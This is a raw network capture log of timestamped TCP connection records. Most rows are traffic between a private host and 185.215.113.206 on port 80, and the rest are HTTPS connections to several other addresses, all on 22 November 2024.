Nov 22, 2024 23:06:39.173930883 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.173940897 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.173968077 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.173974037 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.173994064 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.174011946 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.174735069 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.174861908 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.174918890 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.175549030 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.175601006 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.175729036 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.175781012 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.176348925 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.176597118 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.176645994 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.177160025 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.177323103 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.177373886 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.177967072 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.178488970 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.178759098 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.178816080 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.178934097 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.179584026 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.179635048 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.179812908 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.179857969 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.180376053 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.180439949 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.180733919 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.181233883 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.181253910 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.181298971 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.181334019 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.182002068 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.182265997 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.182348013 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.182578087 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.182984114 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.183027983 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.183094978 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.183327913 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.183648109 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.183763027 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.183969021 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.184442043 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.184487104 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.184508085 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.184559107 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.185261011 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.185307980 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.185558081 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.185606956 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.186073065 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.186121941 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.186160088 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.186367035 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.186875105 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.186923027 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.186991930 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.187211037 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.187665939 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.187726021 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.188222885 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.188297033 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.188469887 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.188534021 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.188700914 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.188747883 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.189294100 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.189346075 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.189395905 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.190088034 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.190181971 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.190234900 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.190886021 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.190936089 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.190960884 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.190996885 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.191696882 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.191755056 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.192472935 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.192523956 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.192534924 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.192579985 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.193300962 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.193355083 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.193725109 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.193773031 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.194103956 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.195024967 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.195094109 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.298916101 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.299045086 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.299108982 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.299424887 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.299494028 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.299802065 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.299901962 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.300180912 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.300199032 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.300230980 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.300261021 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.301100969 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.301170111 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.301177025 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.301229000 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.301774979 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.301826954 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.301975012 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.302041054 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.302571058 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.302656889 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.302707911 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.302743912 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.303401947 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.303524971 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.303703070 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.303749084 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.304183960 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.304234028 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.304538965 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.304584980 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.304989100 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.305053949 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.305114985 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.305802107 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.305896997 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.306262016 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.306308985 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.306626081 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.306672096 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.306727886 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.306818008 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.307416916 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.307490110 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.307538986 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.307637930 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.308276892 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.308362961 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.308377981 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.308490992 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.309053898 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.309106112 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.309133053 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.309222937 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.309844971 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.309892893 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.310002089 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.310053110 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.310648918 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.310775995 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.310837984 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.311460018 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.311506987 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.311661959 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.311875105 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.312275887 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.312325954 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.312560081 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.312642097 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.313081980 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.313126087 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.313169003 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.313227892 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.313896894 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.313936949 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.314012051 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.314681053 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.314738989 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.314790964 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.314870119 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.315545082 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.315562010 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.315584898 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.315599918 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.316293955 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.316339970 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.316379070 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.316428900 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.317137957 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.317188025 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.317945004 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.317967892 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.317985058 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.317991972 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.318027973 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.318741083 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.318785906 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.318926096 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.318973064 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.319569111 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.319616079 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.319657087 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.319705009 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.384448051 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.384546041 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.384634972 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.384696960 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.384854078 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.384905100 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.384984016 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.385025024 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.385663986 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.385792971 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.385853052 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.385895967 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.386466980 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.386523008 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.386580944 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.386622906 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.387258053 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.387646914 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.387650013 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.387692928 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.388062000 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.388124943 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.388536930 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.388581038 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.388998985 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.389085054 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.389127970 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.389694929 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.389796972 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.389838934 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.389947891 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.390491962 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.390810966 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.391128063 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.391241074 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.391340017 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.391355991 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.391382933 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.391396046 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.392225981 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.392302036 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.392935991 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.392952919 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.392996073 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.393004894 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.393018007 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.393043041 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.393738985 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.393865108 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.393894911 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.393915892 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.394547939 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.394604921 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.394640923 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.394678116 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.395348072 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.395396948 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.395596027 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.395647049 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.396178961 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.396194935 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.396249056 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.440454006 CET	443	49847	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:39.440511942 CET	443	49847	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:39.440664053 CET	49847	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:39.440685034 CET	443	49847	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:39.441555023 CET	49847	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:39.441639900 CET	443	49847	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:39.441870928 CET	49847	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:39.442152023 CET	49868	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:39.442188978 CET	443	49868	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:39.442274094 CET	49868	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:39.442903996 CET	49868	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:39.442918062 CET	443	49868	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:39.517648935 CET	443	49848	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:39.517707109 CET	443	49848	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:39.517860889 CET	443	49848	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:39.517930031 CET	49848	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:39.519604921 CET	49848	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:39.519635916 CET	443	49848	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:39.520117998 CET	49869	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:39.520153999 CET	443	49869	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:39.520211935 CET	49869	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:39.520745993 CET	49869	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:39.520762920 CET	443	49869	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:39.524487972 CET	443	49851	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:39.524904013 CET	443	49851	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:39.524951935 CET	443	49851	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:39.525208950 CET	49851	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:39.525737047 CET	49851	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:39.525757074 CET	443	49851	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:39.545011044 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.606055975 CET	443	49853	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:39.607055902 CET	49853	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:39.607086897 CET	443	49853	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:39.607743979 CET	49853	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:39.607748985 CET	443	49853	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:39.664673090 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.671595097 CET	443	49849	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:39.671616077 CET	443	49849	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:39.671694040 CET	443	49849	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:39.671695948 CET	49849	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:39.671756983 CET	49849	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:39.672600031 CET	443	49857	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:39.672765017 CET	49849	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:39.672779083 CET	443	49849	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:39.673259020 CET	49857	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:39.673305035 CET	443	49857	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:39.673712015 CET	49857	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:39.673719883 CET	443	49857	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:39.702802896 CET	443	49856	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:39.703464031 CET	49856	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:39.703497887 CET	443	49856	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:39.703974009 CET	49856	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:39.703980923 CET	443	49856	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:39.713690042 CET	49870	443	192.168.2.5	104.126.116.43
Nov 22, 2024 23:06:39.713747978 CET	443	49870	104.126.116.43	192.168.2.5
Nov 22, 2024 23:06:39.713951111 CET	49870	443	192.168.2.5	104.126.116.43
Nov 22, 2024 23:06:39.714180946 CET	49871	443	192.168.2.5	104.126.116.43
Nov 22, 2024 23:06:39.714221001 CET	443	49871	104.126.116.43	192.168.2.5
Nov 22, 2024 23:06:39.714284897 CET	49871	443	192.168.2.5	104.126.116.43
Nov 22, 2024 23:06:39.714396000 CET	49870	443	192.168.2.5	104.126.116.43
Nov 22, 2024 23:06:39.714413881 CET	443	49870	104.126.116.43	192.168.2.5
Nov 22, 2024 23:06:39.714871883 CET	49871	443	192.168.2.5	104.126.116.43
Nov 22, 2024 23:06:39.714885950 CET	443	49871	104.126.116.43	192.168.2.5
Nov 22, 2024 23:06:39.729784966 CET	49872	443	192.168.2.5	204.79.197.219
Nov 22, 2024 23:06:39.729835987 CET	443	49872	204.79.197.219	192.168.2.5
Nov 22, 2024 23:06:39.730031967 CET	49872	443	192.168.2.5	204.79.197.219
Nov 22, 2024 23:06:39.730169058 CET	49873	443	192.168.2.5	204.79.197.219
Nov 22, 2024 23:06:39.730191946 CET	443	49873	204.79.197.219	192.168.2.5
Nov 22, 2024 23:06:39.730247021 CET	49873	443	192.168.2.5	204.79.197.219
Nov 22, 2024 23:06:39.730356932 CET	49872	443	192.168.2.5	204.79.197.219
Nov 22, 2024 23:06:39.730376959 CET	443	49872	204.79.197.219	192.168.2.5
Nov 22, 2024 23:06:39.731112957 CET	443	49855	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:39.731426954 CET	49873	443	192.168.2.5	204.79.197.219
Nov 22, 2024 23:06:39.731440067 CET	443	49873	204.79.197.219	192.168.2.5
Nov 22, 2024 23:06:39.731844902 CET	443	49854	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:39.732438087 CET	49855	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:39.732454062 CET	443	49855	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:39.732566118 CET	49854	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:39.732584000 CET	443	49854	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:39.732996941 CET	49855	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:39.733002901 CET	443	49855	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:39.733124018 CET	49854	443	192.168.2.5	13.107.246.63
